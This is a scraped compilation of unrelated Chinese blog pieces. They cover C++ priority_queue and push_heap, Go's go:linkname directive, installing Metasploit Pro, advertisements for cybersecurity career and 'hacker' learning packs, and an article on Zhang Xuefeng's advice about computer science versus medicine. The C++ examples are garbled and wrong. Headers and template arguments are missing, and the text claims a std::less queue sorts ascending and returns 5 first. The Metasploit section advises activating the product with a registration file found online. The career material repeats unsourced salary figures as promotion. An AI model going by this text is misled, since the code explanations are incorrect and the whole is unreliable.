priority_queue 是 C++ 标准库中的一个容器适配器,它提供了基于优先级排序的队列操作。在这个示例中,我们将展示如何创建和使用一个优先队列来存储整数,并按升序排序。 首先,我们需要包含 priority_queue 的头文件: #include #include 接下来,我们将定义一个 IntCompare 函数,用于自定义优先队列中元素的排序方式。在这个例子中,我们将整数按升序排序: bool IntCompare(int lhs, int rhs) { return lhs < rhs; } 现在,我们可以创建一个使用 IntCompare 函数的优先队列,用于存储整数: std::priority_queue<int, std::vector, std::less> integerQueue; 在这个例子中,integerQueue 是一个优先队列,它使用 std::vector 作为底层容器,并使用 std::less 作为比较器。这意味着优先队列中的元素将根据它们的值进行升序排序。 接下来,我们将向优先队列添加一些整数: integerQueue.push(5); integerQueue.push(10); integerQueue.push(8); integerQueue.push(15); 现在,我们可以使用 top() 函数来访问优先队列的顶部元素,并使用 pop() 函数将其移除: std::cout << "Top element: "<< integerQueue.top()<< std::endl; // 输出:Top element: 5 integerQueue.pop(); std::cout << "Top element again: "<< integerQueue.top()<< std::endl; // 输出:Top element again: 8

push_heap的介绍

push_heap 是 C++ 标准库中的一个函数,用于将一个新元素添加到具有特定排序顺序的堆中。堆是一种特殊的完全二叉树,其中每个父节点的值都大于或等于其子节点的值。在 C++ 中,std::heap 库提供了实现堆数据结构的算法。 首先,我们需要包含 iostream 和 heap 的头文件: #include #include #include 接下来,我们将创建一个 int 类型的向量,并使用 std::make_heap() 函数将其初始化为一个堆: std::vector vec = {3, 1, 4, 2}; std::make_heap(vec.begin(), vec.end()); 现在,我们可以使用 push_heap() 函数将一个新元素添加到堆中,并保持堆的排序顺序: vec.push_back(5); std::push_heap(vec.begin(), vec.end()); 在这个例子中,我们将数字 5 添加到向量中,并使用 push_heap() 函数将其添加到堆中。push_heap() 函数不会重新排序整个堆,而是在 O(log n) 时间内将新元素插入到堆中,其中 n 是堆的大小。 我们可以继续向堆中添加元素,并使用 pop_heap() 函数将其从堆中删除,同时保持堆的排序顺序: std::pop_heap(vec.begin(), vec.end()); vec.pop_back(); 在这个例子中,我们从堆中删除数字 5,并将其从向量中删除。 此外,我们还可以使用 std::sort_heap() 函数对堆进行排序: std::sort_heap(vec.begin(), vec.end()); 这个例子中,我们将堆中的元素按升序排序,并将结果存储在向量中。 总之,push_heap() 函数允许我们在 O(log n) 时间内将新元素添加到堆中,同时保持堆的排序顺序。你可以根据需要修改示例中的数据类型和排序顺序。

go:linkname

Go语言中,可以使用//go:linkname,链接出runtime代码中非导出的函数供用户使用,internal包中的方法,也可以如此操作。 //go:linkname localname [importpath.name] This special directive does not apply to the Go code that follows it. Instead, the //go:linkname directive instructs the compiler to use “importpath.name” as the object file symbol name for the variable or function declared as “localname” in the source code. If the “importpath.name” argument is omitted, the directive uses the symbol’s default object file symbol name and only has the effect of making the symbol accessible to other packages.

Metasploit Pro 4.20.0安装与使用

简介: Metasploit Pro 4.20.0安装与使用 一、简介 Metasploit Pro 是一种漏洞利用验证工具,UI版的MSF。 二、下载地址 Metasploit Pro Download: Thank You 三、安装与使用 1、运行安装包./metasploit-latest-linux-x64-installer.run,一路Forward 2、安装成功,启动 3、首次访问:localhost:3790,需要设置账号密码 4、选择离线注册,从网上找一个注册文件载入即可 5、新建扫描 6、点击launch scan,开始扫描 7、扫描结果,根据结果可以进一步渗透测试 禁止非法,后果自负 题外话 初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据: 2023届全国高校毕业生预计达到1158万人,就业形势严峻; 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。 一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。 6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。 2022届大学毕业生月收入较高的前10个专业 本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。 具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。 “没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 网络安全行业特点 1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万! 2、人才缺口大,就业机会多 2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。 行业发展空间大,岗位非常多 网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员… 职业增值潜力大 网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。 随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。 从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。 如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享 如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程) 1.成长路线图&学习规划 要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。 对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。 2.视频教程 很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。 3.SRC&黑客文籍 大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录 SRC技术文籍: 黑客资料由于是敏感资源,这里不能直接展示哦! 4.护网行动资料 其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指! 5.黑客必读书单 6.面试题合集 当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。 更多内容为防止和谐,可以扫描获取~ 这份完整版的网络安全(嘿客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】 如果你有需要可以点击👉CSDN大礼包:《嘿客&网络安全入门&进阶学习资源包》免费分享

张雪峰倡导的计算机专业干到30岁年薪百万,不建议学医,可信吗

前言 上学的时候,一个班里有学习尖子,也有差生,所有人都觉得,学霸一定会过得很好,一定会考上名牌大学,一定会拿到高薪,一定会在同学会上大放异彩。 可谁曾想,事情的发展,却出乎了所有人的意料。等长大了,才知道,原来班级里成绩最好的人,并不代表以后就能混得最好。有人说,这跟人际关系有关。 当然,也有一些人认为,这是因为他们选择了不同的道路。不同的专业,也决定了他们的生活节奏,有的人年纪轻轻就能出人头地,有的人上了岁数才能有所成就。 比如专科生,或者是次一些的本科生,他们的专业跟学术无关,但他们的实践能力很强,比如商科,他们可以自己开公司,但如果是学霸,他们就很难在学术界混的风生水起。 张雪峰:一位年入百万的程序员,与一位还在实习的医生,你会选择哪一个? 有一次,一位家长向张雪峰老师询问,现在热门专业是医学,还是计算机,孩子该选择哪个?孩子在高考的时候考了个好成绩,想要选择一个热门专业,将来能赚很多钱。 一听这孩子成绩不错,张老师顿时大喜,紧接着就是一段精彩的演讲,让我们受益匪浅。 他首先问的是这对父母,孩子到了三十岁,是想年薪百万呢,还是去医院当个小职员呢?家长们自然是默不作声,谁不想要一个孩子挣很多钱呢? 张雪峰继续说道:“如果你选择了医学专业,那你的孩子三十岁的时候还是个初出茅庐的菜鸟,如果你选择了计算机专业,那你的孩子三十岁的时候,年薪就是百万。” 毫不夸张的说,30岁出头的博士,才刚刚毕业没多久,这是很多医生都经历过的事情。 从30岁开始,再等10年,40岁的医生,一辈子都不可能升到副主任的。但当电脑天才在互联网上苦苦挣扎到40岁时,他们很可能已经成为管理人员了。 而在这十年中,一名顶尖大学毕业的计算机博士,年薪至少也在一百六十万以上。想想他们这十年的收入,估计四五十岁的时候,就该退休了。 从这一点上来说,就可以看出,医生与其他热门专业的区别了,学医的人,年纪越大,价值越高,前半生的日子可能熬的很长。 所以,在选择专业的时候,一定要考虑到自己所学的专业起点高低,能不能接受。别等别人已经退休了,而你还在起步阶段。 不过,再多的钱也买不到自己的理想,如果他真的喜欢医术,有了自己的梦想,那就没得谈了。相反,如果计算机专业的学生不努力的话,也达不到这个高度。 你是会学医学还是要学电脑呢? 如何入门学习网络安全【黑客】 【----帮助网安学习,以下所有学习资料文末免费领!----】 > ① 网安学习成长路径思维导图 > ② 60+网安经典常用工具包 > ③ 100+SRC漏洞分析报告 > ④ 150+网安攻防实战技术电子书 > ⑤ 最权威CISSP 认证考试指南+题库 > ⑥ 超1800页CTF实战技巧手册 > ⑦ 最新网安大厂面试题合集(含答案) > ⑧ APP客户端安全检测指南(安卓+IOS) 大纲 首先要找一份详细的大纲。 学习教程 第一阶段:零基础入门系列教程 该阶段学完即可年薪15w+ 第二阶段:技术入门 弱口令与口令爆破 XSS漏洞 CSRF漏洞 SSRF漏洞 XXE漏洞 SQL注入 任意文件操作漏洞 业务逻辑漏洞 该阶段学完年薪25w+ 阶段三:高阶提升 反序列化漏洞 RCE 综合靶场实操项目 内网渗透 流量分析 日志分析 恶意代码分析 应急响应 实战训练